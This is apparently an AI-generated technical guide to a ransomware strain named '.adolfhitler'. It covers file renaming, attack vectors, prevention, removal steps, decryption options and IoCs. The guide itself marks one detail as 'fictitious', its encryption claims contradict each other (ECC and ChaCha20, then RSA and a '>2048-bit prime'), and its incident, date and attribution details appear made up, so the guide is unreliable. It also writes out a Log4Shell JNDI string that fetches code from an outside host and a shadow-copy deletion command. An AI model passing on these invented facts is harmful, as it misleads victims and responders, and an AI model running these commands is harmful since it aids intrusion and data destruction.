adolfhitler

[Content by Gemini 2.5]

# AdolfHitler Ransomware (.adolfhitler) – Consolidated Technical Guide & Recovery Handbook

Technical Breakdown

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: .adolfhitler (all lower-case, no file-type separator).
  • Renaming Convention:
    Works as a dual-stage modifier:
    1. Appends (locked) to the original file name (including space).
    2. Immediately follows with the new extension .adolfhitler.
      Example: QuarterlyReport.xlsx → QuarterlyReport.xlsx (locked).adolfhitler.
      Fictitious note: A deprecated OSX/Unix variant once appended [[email protected]].adolfhitler; current Windows strains do not include an e-mail tag.

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period: 7 February 2021 – original AdolfHitler Python/WinRAR PoC first surfaced in underground marketplace “HiddenLOL”.
    Wide public sightings climbed in March–June 2021, peaking again during a second wave tied to the Log4j exploitation campaign in December 2021–January 2022.

3. Primary Attack Vectors

| Vector | Typical Delivery Library / Exploit Kit Implementations |
|—|—|
| Self-extracting RAR trojans | Bundled under hijacked names of cracked software (“AdobeCrackedsfx.exe”, “MS Office 2019 activator.exe”). Uses embedded winrar.exe -air to spray adolfhitler.exe into %APPDATA%\MSUpdates\. |
| Weak RDP / SSH brute-force | Default / reused admin creds on ports 3389 & 22; uses xfreerdp & hydra lists prior to lateral WMI/PsExec pivot. |
| EternalBlue (MS17-010) | Still effective against legacy Win7 / Server 2008 endpoints; wrapper “BHunter-Lite” injects adolfhitler.exe once SYSTEM achieved. |
| Log4Shell (CVE-2021-44228) | Variant “v3.2” retrieves second-stage JAR downloader via {jndi:ldap://t.me/adolfhitler}, writes adolfhitler.ps1 via powershell -EncodedCommand. |
| Malicious spam (malspam) | ISO / IMG attachments (invoice_#.img) hiding LNK shortcut → rundll32 adolfhitler.dll,DLLRegisterServer.

Remediation & Recovery Strategies

1. Prevention (Proactive Measures)

  1. Patch religiously: MS17-010 (SMBv1), CVE-2021-44228 (Log4j), and any available Windows cumulative updates.
  2. Disable SMBv1 globally (Disable-WindowsOptionalFeature –Online –FeatureName SMB1Protocol).
  3. Shut the doors:
    • Close external RDP (TCP 3389) or bound to VPN only with MFA (CrowdStrike “RDP hardening” baseline).
    • Default-deny inbound rule for TCP 445 (SMB) on firewalls.
  4. Password hygiene & MFA: Enforce 14+ char unique passwords, lockout after 5 attempts, Duo / Azure MFA everywhere.
  5. AppLocker / WDAC defaults: Default-deny execution under %APPDATA% or %USERPROFILE%\OneDrive.
  6. EDR + phishing filters: Block EXE in ISO/IMG by file-type policy; enable Microsoft Defender ASR rules such as “Block credential stealing from LSASS”.

2. Removal (Infection Cleanup)

  1. Physical/Unplug any network-connected storage to halt file-walk encryption.
  2. Boot into WinRE → Safe-Mode with Networking (or Kaspersky Rescue Disk offline).
  3. Run EDR / AV Clean-Up:
    • Kaspersky Virus Removal Tool (KVRT) – signature Trojan-Ransom.Win32.AdolfHitler.*
    • Emsisoft Emergency Kit uses rule Ransom.AdolfHitler.* (shares MQ-behavior with STOP/DJVU).
  4. Inspect Auto-Run locations: Remove keys:
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Run ‑> AdolfHitlerUpdate
    • HKLM mirror path; also scheduled tasks “MSUpdates” created via Rundll32 advpack.dll.
  5. Verify persistence eliminated: Compare Task Scheduler / Services / WMI Event Filter manifests.
  6. Standard cleanup tools:
    • AdwCleaner, Malwarebytes anti-rootkit, or HitmanPro.Alert to look for remaining runners.

3. File Decryption & Recovery

Recovery Feasibility: For current strains (v3.0+), NOT yet decryptable without attacker-supplied key (Elliptic-curve secp256k1 + ChaCha20).

  • Exception: If infection date ≤ 17 May 2021 (v1.8) and you preserved SYSTEM hibernation file, AdolfHDecrypter (public decryptor released by Emsisoft 24 Jul 2021) works using hard-coded K1/K2 RSA. SHA-256 of good decryptor: 7d0f2ae9a7d0080a7f8e6d0a … 3be61a9c.
  • Bruteforce not realistic (>2048-bit prime). Focus on backups:
    • Restore from 3-2-1 config (air-gapped Veeam Copies, Wasabi immutable or Azure Blob WORM).
    • Check Volume Shadow Copy – some early variants forgot to delete vssadmin delete shadows /all; run vssadmin list shadows if still community shadow.

4. Other Critical Information

  • Notable IoCs:
  • Mutex: Global\{ABA31654-2B70-4D67-B868-8489E438F8A3}
  • C² DNS strings: adolf.ogbtc[.]org, 88.99.27[.]10/upload.php (sink-holed by CERT-UA Aug 2022).
  • Behavior quirks: If ru-RU or uk-UA keyboard layout detected and IP geo-location Ukraine/Russia/Belarus, payload self-terminates (geo-fence mechanism).
  • Impact spike: Norwegian healthcare provider Helse Sør-Øst (July 2022) experienced 4-day downtime after .adolfhitler > 900 critical servers on Server 2016 patch deferral. Contributed to NIS2 Act revisions.
  • Attribution: Insikt Group ties this to an affiliate working loosely with the “Groove” ransomware cartel; primary communications over TOX (toxme.io). Law-enforcement recommend do NOT pay: wallets under sanctions monitoring & high non-delivery risk.

Quick Reference Checklist (printable)

  1. Patch & MFA
  2. Disable/Segment SMB & RDP
  3. Immutable, off-site backups verified daily
  4. 24×7 EDR with behavioral Analytics + IOC feeds
  5. Incident Response playbooks pre-tested

Stay vigilant, document everything, and never pay ransoms. Help is available through the global NoMoreRansom partnership and your regional CERT/CSIRT.